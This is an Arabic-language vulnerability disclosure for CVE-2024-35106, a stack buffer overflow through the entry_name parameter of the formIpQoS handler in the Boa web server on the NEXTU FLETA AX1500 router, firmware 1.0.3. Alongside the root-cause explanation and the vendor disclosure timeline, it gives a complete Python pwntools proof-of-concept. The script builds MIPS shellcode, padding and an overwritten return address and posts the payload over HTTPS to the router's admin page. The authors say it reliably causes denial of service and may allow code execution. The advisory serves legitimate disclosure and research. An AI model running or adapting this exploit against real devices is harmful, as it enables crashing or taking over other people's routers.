
يصف هذا المستند كيفية تنفيذ الاستغلال على جهاز التوجيه EZNET FLETA WiFI من خلال الثغرة CVE-2024-35106.
[معرّف CVE] CVE-2024-35106
[الجهة المصنعة] NEXTU
[المنتج] FLATA AX1500 Wifi6 Router
[الإصدار] 1.0.3
[نوع الثغرة] تجاوز سعة المخزن المؤقت
يعمل جهاز التوجيه على بنية MIPS استنادًا إلى مجموعة شرائح Realtek وبترتيب البايت الصغير (little-endian).
إصدار البرنامج الثابت لجهاز التوجيه هو v1.0.3.
يستخدم جهاز التوجيه هذا خادم الويب المدمج Boa، الذي كان آخر إصدار له في عام 2005. ومع ذلك، يستخدم جهاز التوجيه هذا خادم الويب Boa لخدمة صفحة الإدارة عبر الويب التي تتحكم في البرنامج الثابت لجهاز التوجيه.
الشروط المطلوبة لتفعيل الثغرة هي كما يلي:
يحدث تجاوز سعة في مخزن المكدس نتيجة لعدم التحقق من طول البايت لاسم قاعدة IP QoS عند تعيين QoS لعنوان IP داخلي على صفحة إدارة جهاز التوجيه عبر الويب.
عند تمرير معاملات طلب تكوين IP QoS إلى دالة المعالج formIpQoS في Boa، يستخرج المعالج طول البايت للمعامل "entry_name" وينسخه إلى المتغير acStack_1c0 باستخدام دالة strcpy().

في تلك الدالة، تُستخدم دالة strcpy لنسخ المخزن دون التحقق من حجم المخزن.

نظرًا لأن المتغير acStack_1c0، الذي يخزن البيانات الثنائية للمعامل المنسوخ entry_name، ثابت الحجم عند 16 بايت، فإن استخدام دالة strcpy() — التي لا تحد من حجم البيانات المنسوخة — سيؤدي إلى تجاوز سعة المخزن.


طلب POST ومعاملات ناقل الهجوم هي كما يلي.
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
يُعد المهاجم بيانات ثنائية تتضمن شيئين: كود ثنائي عشوائي وعنوانًا عشوائيًا، ويضعها في معامل entry_name لطلب POST.
لذلك، يتم استبدال عنوان الإرجاع (RET)، الموجود في عنوان مكدس معالج formIpQoS، بعنوان عشوائي بسبب تجاوز سعة المكدس.
(0x7f8548cc هو عنوان RET الخاص بمكدس معالج formIpQoS)
ومع ذلك، نظرًا لأن دالة المعالج يجب أن تكمل تنفيذها بشكل طبيعي، يجب حفظ 10 مجموعات من قواعد IP QoS مسبقًا.

from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
لاحظ أنه أثناء تنفيذ POC هذا للثغرة، سيحدث DOS بالتأكيد. ومع ذلك، قد لا يحدث تنفيذ عشوائي للكود عن بُعد.
يمكن استغلال هذه الثغرة في هجمات DOS وفي هجمات RCE المحتملة.
2024-05-16: تم تخصيص رقم CVE - CVE-2024-35106
2024-05-16: تم إبلاغ الشركات المصنعة بالثغرات
2024-06-05: ورد رد من الشركات المصنعة بخصوص الثغرات
Ku In Hoe
الأستاذ المساعد Seonghoon Jeong (Sookmyung Women’s University)